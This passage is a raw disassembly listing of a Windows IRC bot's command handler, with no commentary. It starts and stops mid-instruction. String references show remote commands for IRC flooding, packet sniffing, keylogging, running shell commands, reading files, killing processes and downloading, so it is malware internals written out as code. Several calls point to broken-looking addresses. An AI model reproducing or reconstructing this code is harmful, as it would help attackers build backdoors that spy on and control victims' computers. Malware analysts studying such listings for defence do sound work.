10h push eax call sub_41C100 lea eax, [ebp+var_1508] push eax lea eax, [ebp+var_2C4] push offset unk_42B9E8 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B3AD add esp, 3Ch mov [ebp+var_13EC], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1508] push ebx push eax push offset dword_40BB54 push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_13EC] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_404BC9 loc_404BB3: ; CODE XREF: sub_401AC7+3100j cmp [ebp+var_13E0], ebx jnz loc_4081DE push 32h nop call near ptr 268051Bh jmp short loc_404BB3 ; --------------------------------------------------------------------------- loc_404BC9: ; CODE XREF: sub_401AC7+30EAj nop call near ptr 2680DCDh push eax push offset unk_42B9A8 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_404BDA: ; CODE XREF: sub_401AC7+3027j push [ebp+arg_8] push offset aReconnect_in ; "reconnect.in" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4095BA push [ebp+arg_8] push offset aRin ; "rin" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4095BA push [ebp+arg_8] push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409578 push [ebp+arg_8] push offset aRinms ; "rinms" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409578 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4057B5 nop call near ptr 26A0729h push eax call sub_41C058 push edi push offset aLoad ; "load" call sub_41C7E0 add esp, 0Ch test eax, eax jnz short loc_404CDD cmp [ebp+esi+var_80], ebx jz short loc_404CDD push [ebp+esi+var_80] call sub_41BEF9 pop ecx push eax push [ebp+esi+var_84] call sub_41BEF9 pop ecx push eax push [ebp+esi+var_88] call sub_417DB7 push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B940 push eax call sub_41C006 add esp, 20h cmp [ebp+var_8], ebx jnz short loc_404CDD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_404CDD: ; CODE XREF: sub_401AC7+31A2j ; sub_401AC7+31A8j ... push edi push offset dword_42B93C call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404D44 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D44 push offset asc_42CDCC ; " " push offset dword_42B938 push eax call sub_4183EC push eax lea eax, [ebp+var_47F0] push eax call sub_41C620 lea eax, [ebp+var_47F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B928 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 28h loc_404D44: ; CODE XREF: sub_401AC7+3225j ; sub_401AC7+3230j push edi push offset dword_42B924 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404DAB mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DAB push offset asc_42CDCC ; " " push offset dword_42B938 push eax call sub_4183EC push eax lea eax, [ebp+var_4AF4] push eax call sub_41C620 lea eax, [ebp+var_4AF4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B910 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 28h loc_404DAB: ; CODE XREF: sub_401AC7+328Cj ; sub_401AC7+3297j push edi push offset aNt ; "nt" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404E12 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E12 push offset asc_42CDCC ; " " push offset dword_42B938 push eax call sub_4183EC push eax lea eax, [ebp+var_48F0] push eax call sub_41C620 lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 28h loc_404E12: ; CODE XREF: sub_401AC7+32F3j ; sub_401AC7+32FEj push edi push offset aMode ; "mode" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404E79 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E79 push offset asc_42CDCC ; " " push offset dword_42B938 push eax call sub_4183EC push eax lea eax, [ebp+var_4FF8] push eax call sub_41C620 lea eax, [ebp+var_4FF8] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 28h loc_404E79: ; CODE XREF: sub_401AC7+335Aj ; sub_401AC7+3365j push edi push offset aJoin ; "join" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404EB6 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EB6 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h loc_404EB6: ; CODE XREF: sub_401AC7+33C1j ; sub_401AC7+33CCj push edi push offset aPart_0 ; "part" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404EF3 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EF3 push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h loc_404EF3: ; CODE XREF: sub_401AC7+33FEj ; sub_401AC7+3409j push edi push offset aPartflood ; "partflood" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404F35 mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F35 push offset dword_427638 push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_404F35: ; CODE XREF: sub_401AC7+343Bj ; sub_401AC7+3446j push edi push offset aPnick ; "pnick" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404FA8 cmp [ebp+esi+var_88], ebx jz short loc_404FA8 nop call near ptr 26A0729h push eax call sub_41C058 call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B8] push edx push [ebp+esi+var_88] push offset dword_42B8A0 push eax call sub_41C006 lea eax, [ebp+var_17B8] push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h loc_404FA8: ; CODE XREF: sub_401AC7+347Dj ; sub_401AC7+3486j push edi push offset dword_42B88C call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4050F9 cmp [ebp+esi+var_88], ebx jz loc_4050F9 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push offset dword_427638 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h call sub_41C062 cdq mov ecx, 3E8h idiv ecx push edx call near ptr 268051Bh nop push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h call sub_41C062 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 268051Bh push offset dword_427638 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h call sub_41C062 cdq mov ecx, 0C8h idiv ecx push edx nop call near ptr 268051Bh push offset dword_427638 lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_4050F9: ; CODE XREF: sub_401AC7+34F0j ; sub_401AC7+34FDj push edi push offset dword_42B888 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405191 cmp [ebp+esi+var_88], ebx jz short loc_405191 nop call near ptr 26A0729h push eax call sub_41C058 pop ecx call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41C062 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B860 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h loc_405191: ; CODE XREF: sub_401AC7+3641j ; sub_401AC7+364Ej push edi push offset aNick_0 ; "nick" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405294 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_405294 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 lea eax, [ebp+var_4BC] push eax call sub_417E35 lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 268051Bh lea eax, [ebp+var_4BC] push eax call sub_417E35 lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h call sub_41C062 cdq mov ecx, 1F4h idiv ecx push edx nop call near ptr 268051Bh lea eax, [ebp+var_4BC] push eax call sub_417E35 lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_405294: ; CODE XREF: sub_401AC7+36D9j ; sub_401AC7+36E8j push edi push offset aChgnick ; "chgnick" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_4052D8 lea eax, [ebp+var_180C] push eax call sub_417E35 lea eax, [ebp+var_180C] push eax lea eax, [ebp+var_2C4] push offset dword_42B898 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_4052D8: ; CODE XREF: sub_401AC7+37DCj push edi push offset aMsg ; "msg" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4053CA cmp [ebp+esi+var_88], ebx jz loc_4053CA push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B928 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h call sub_41C062 cdq mov ecx, 3E8h idiv ecx push edx call near ptr 268051Bh nop push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B928 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h call sub_41C062 cdq mov ecx, 384h idiv ecx push edx call near ptr 268051Bh nop push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B928 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_4053CA: ; CODE XREF: sub_401AC7+3820j ; sub_401AC7+382Dj push edi push offset aNotice_0 ; "notice" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4054BC cmp [ebp+esi+var_88], ebx jz loc_4054BC push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 24h call sub_41C062 cdq mov ecx, 3E8h idiv ecx push edx nop call near ptr 268051Bh push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h call sub_41C062 cdq mov ecx, 384h idiv ecx push edx nop call near ptr 268051Bh push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_4054BC: ; CODE XREF: sub_401AC7+3912j ; sub_401AC7+391Fj push edi push offset aCtcp ; "ctcp" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4055DA cmp [ebp+esi+var_88], ebx jz loc_4055DA push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B818 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 20h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 268051Bh push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B800 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 268051Bh push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E8 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 268051Bh push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B7E8 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 10h loc_4055DA: ; CODE XREF: sub_401AC7+3A04j ; sub_401AC7+3A11j push edi push offset aMix ; "mix" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405707 cmp [ebp+esi+var_88], ebx jz loc_405707 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B818 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 20h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx call near ptr 268051Bh nop push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx call near ptr 268051Bh nop push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h call sub_41C062 cdq mov ecx, 514h idiv ecx push edx nop call near ptr 268051Bh push offset dword_42763C lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_405707: ; CODE XREF: sub_401AC7+3B22j ; sub_401AC7+3B2Fj push edi push offset aRegister ; "register" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40574B mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_40574B push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_417AD7 add esp, 14h loc_40574B: ; CODE XREF: sub_401AC7+3C4Fj ; sub_401AC7+3C5Aj push edi push offset aOff ; "off" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4061E0 mov [ebp+arg_18], offset dword_4D239C loc_405767: ; CODE XREF: sub_401AC7+3CC4j mov eax, [ebp+arg_18] cmp dword ptr [eax-4], 1 jnz short loc_40577D mov eax, [eax] cmp eax, ebx jbe short loc_40577D push eax call dword_4C939C loc_40577D: ; CODE XREF: sub_401AC7+3CA7j ; sub_401AC7+3CADj add [ebp+arg_18], 210h cmp [ebp+arg_18], offset dword_4D8ABC jl short loc_405767 cmp [ebp+var_8], ebx jnz loc_4061E0 push ebx push [ebp+var_4] push offset unk_42B788 push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h jmp loc_4061E0 ; --------------------------------------------------------------------------- loc_4057B5: ; CODE XREF: sub_401AC7+3180j push [ebp+arg_8] push offset aNick_0 ; "nick" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40955F push [ebp+arg_8] push offset aN ; "n" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40955F push [ebp+arg_8] push offset aJoin ; "join" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40953F push [ebp+arg_8] push offset aJ ; "j" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40953F push [ebp+arg_8] push offset aPart_0 ; "part" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409526 push [ebp+arg_8] push offset aPt ; "pt" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409526 push [ebp+arg_8] push offset aRaw ; "raw" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4094EF push [ebp+arg_8] push offset aR ; "r" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4094EF push [ebp+arg_8] push offset aKillthread ; "killthread" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40942C push [ebp+arg_8] push offset aK ; "k" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40942C push [ebp+arg_8] push offset aC_quit ; "c_quit" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409381 push [ebp+arg_8] push offset aC_q ; "c_q" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409381 push [ebp+arg_8] push offset aC_rndnick ; "c_rndnick" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409336 push [ebp+arg_8] push offset aC_rn ; "c_rn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409336 push [ebp+arg_8] push offset aPrefix ; "prefix" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409321 push [ebp+arg_8] push offset aPr ; "pr" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_409321 push [ebp+arg_8] push offset aOpen ; "open" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4092F7 push [ebp+arg_8] push offset aO ; "o" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4092F7 push [ebp+arg_8] push offset aServer ; "server" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4092D2 push [ebp+arg_8] push offset aSe ; "se" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4092D2 push [ebp+arg_8] push offset aDns ; "dns" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40926A push [ebp+arg_8] push offset aDn ; "dn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40926A push [ebp+arg_8] push offset aKillproc ; "killproc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40923E push [ebp+arg_8] push offset aKp ; "kp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40923E push [ebp+arg_8] push offset aKill ; "kill" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4091E3 push [ebp+arg_8] push offset aKi ; "ki" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4091E3 push [ebp+arg_8] push offset aDelete ; "delete" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4091AF push [ebp+arg_8] push offset aDel ; "del" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4091AF push [ebp+arg_8] push offset aGet ; "get" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4090DB push [ebp+arg_8] push offset aGt ; "gt" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4090DB push [ebp+arg_8] push offset aList ; "list" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4090C0 push [ebp+arg_8] push offset aLi ; "li" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4090C0 push [ebp+arg_8] push offset aVisit ; "visit" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408FD3 push [ebp+arg_8] push offset aV ; "v" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408FD3 push [ebp+arg_8] push offset aMirccmd ; "mirccmd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408F5F push [ebp+arg_8] push offset aMirc ; "mirc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408F5F push [ebp+arg_8] push offset aCmd ; "cmd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408F0B push [ebp+arg_8] push offset aCm ; "cm" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408F0B push [ebp+arg_8] push offset aReadfile ; "readfile" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408E86 push [ebp+arg_8] push offset aRf ; "rf" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408E86 push [ebp+arg_8] push offset aPsniff ; "psniff" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405C9A push edi push offset aOn ; "on" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405C62 push 20h call sub_40B5F5 test eax, eax pop ecx jle short loc_405B8F push offset dword_42B68C jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405B8F: ; CODE XREF: sub_401AC7+40BCj mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_F5C], eax mov eax, [ebp+var_4] mov [ebp+var_ED4], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_ED0], eax jnz short loc_405BD1 mov esi, offset aF_1 ; "#f" push offset byte_43B4B8 push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_405BD1 mov esi, [ebp+var_88] loc_405BD1: ; CODE XREF: sub_401AC7+40ECj ; sub_401AC7+4102j push esi lea eax, [ebp+var_F58] push 80h push eax call sub_41C100 lea eax, [ebp+var_2C4] push offset dword_42B65C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B3AD add esp, 20h mov [ebp+var_ED8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F5C] push ebx push eax push offset byte_412B1F push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_ED8] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_405C51 loc_405C3B: ; CODE XREF: sub_401AC7+4188j cmp [ebp+var_ECC], ebx jnz loc_4081DE push 32h call near ptr 268051Bh nop jmp short loc_405C3B ; --------------------------------------------------------------------------- loc_405C51: ; CODE XREF: sub_401AC7+4172j nop call near ptr 2680DCDh push eax push offset dword_42B620 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405C62: ; CODE XREF: sub_401AC7+40ACj push edi push offset aOff ; "off" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4081DE push ebx push 20h call sub_40B5A8 pop ecx cmp eax, ebx pop ecx jle short loc_405C90 push eax push offset dword_42B5E4 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405C90: ; CODE XREF: sub_401AC7+41BCj push offset dword_42B5B8 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405C9A: ; CODE XREF: sub_401AC7+4097j push [ebp+arg_8] push offset aSniffer ; "sniffer" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405DE7 push edi push offset aOn ; "on" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405DAF push 21h call sub_40B5F5 test eax, eax pop ecx jle short loc_405CDC push offset unk_42B590 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405CDC: ; CODE XREF: sub_401AC7+4209j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC8], eax mov eax, [ebp+var_4] mov [ebp+var_E40], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E3C], eax jnz short loc_405D1E mov esi, offset aF_1 ; "#f" push offset byte_43B4B8 push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_405D1E mov esi, [ebp+var_88] loc_405D1E: ; CODE XREF: sub_401AC7+4239j ; sub_401AC7+424Fj push esi lea eax, [ebp+var_EC4] push 80h push eax call sub_41C100 lea eax, [ebp+var_2C4] push offset unk_42B564 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B3AD add esp, 20h mov [ebp+var_E44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC8] push ebx push eax push offset sub_4131AA push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_E44] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_405D9E loc_405D88: ; CODE XREF: sub_401AC7+42D5j cmp [ebp+var_E38], ebx jnz loc_4081DE push 32h nop call near ptr 268051Bh jmp short loc_405D88 ; --------------------------------------------------------------------------- loc_405D9E: ; CODE XREF: sub_401AC7+42BFj call near ptr 2680DCDh nop push eax push offset unk_42B528 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405DAF: ; CODE XREF: sub_401AC7+41F9j push edi push offset aOff ; "off" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4081DE push ebx push 21h call sub_40B5A8 pop ecx cmp eax, ebx pop ecx jle short loc_405DDD push eax push offset unk_42B4EC jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405DDD: ; CODE XREF: sub_401AC7+4309j push offset unk_42B4C0 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405DE7: ; CODE XREF: sub_401AC7+41E4j push [ebp+arg_8] push offset aIdent ; "ident" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_405EBA push edi push offset aOn ; "on" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_405E82 push 2 call sub_40B5F5 test eax, eax pop ecx jle short loc_405E25 push offset dword_42B498 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405E25: ; CODE XREF: sub_401AC7+4352j lea eax, [ebp+var_2C4] push offset dword_42B46C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B3AD add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_410BBE push ebx push ebx nop call near ptr 26805C5h imul esi, 234h cmp eax, ebx mov dword_43C254[esi], eax jnz loc_4081DE nop call near ptr 2680DCDh push eax push offset dword_42B438 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405E82: ; CODE XREF: sub_401AC7+4346j push edi push offset aOff ; "off" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4081DE push ebx push 2 call sub_40B5A8 pop ecx cmp eax, ebx pop ecx jle short loc_405EB0 push eax push offset dword_42B400 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_405EB0: ; CODE XREF: sub_401AC7+43DCj push offset dword_42B3E0 jmp loc_406E6F ; --------------------------------------------------------------------------- loc_405EBA: ; CODE XREF: sub_401AC7+4331j push [ebp+arg_8] push offset aKeyloger ; "keyloger" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408D1A push [ebp+arg_8] push offset aKeylog ; "keylog" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408D1A push [ebp+arg_8] push offset aStop ; "stop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408CF1 push [ebp+arg_8] push offset aStop ; "stop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_408CF1 push [ebp+arg_8] push offset aNet ; "net" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4061B2 cmp dword_4C93D4, ebx jz short loc_405F47 cmp dword_4C93FC, ebx jz short loc_405F47 push offset unk_42B388 jmp loc_40851D ; --------------------------------------------------------------------------- loc_405F47: ; CODE XREF: sub_401AC7+446Cj ; sub_401AC7+4474j cmp [ebp+var_C], ebx jz loc_406C42 mov eax, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_405F6F push eax push [ebp+var_C] call sub_41C080 pop ecx mov [ebp+arg_0], eax pop ecx loc_405F6F: ; CODE XREF: sub_401AC7+4498j push edi push offset aStart ; "start" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_405FD5 cmp [ebp+arg_18], ebx jz short loc_405FA9 push [ebp+arg_0] push 3 loc_405F8A: ; CODE XREF: sub_401AC7+4524j ; sub_401AC7+453Cj ... call sub_418BBF push eax lea eax, [ebp+var_2C4] push offset aS_1 ; "%s" push eax call sub_41C006 add esp, 14h jmp loc_406C42 ; --------------------------------------------------------------------------- loc_405FA9: ; CODE XREF: sub_401AC7+44BCj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418E66 add esp, 0Ch test eax, eax jz short loc_405FCB push offset unk_42B35C jmp 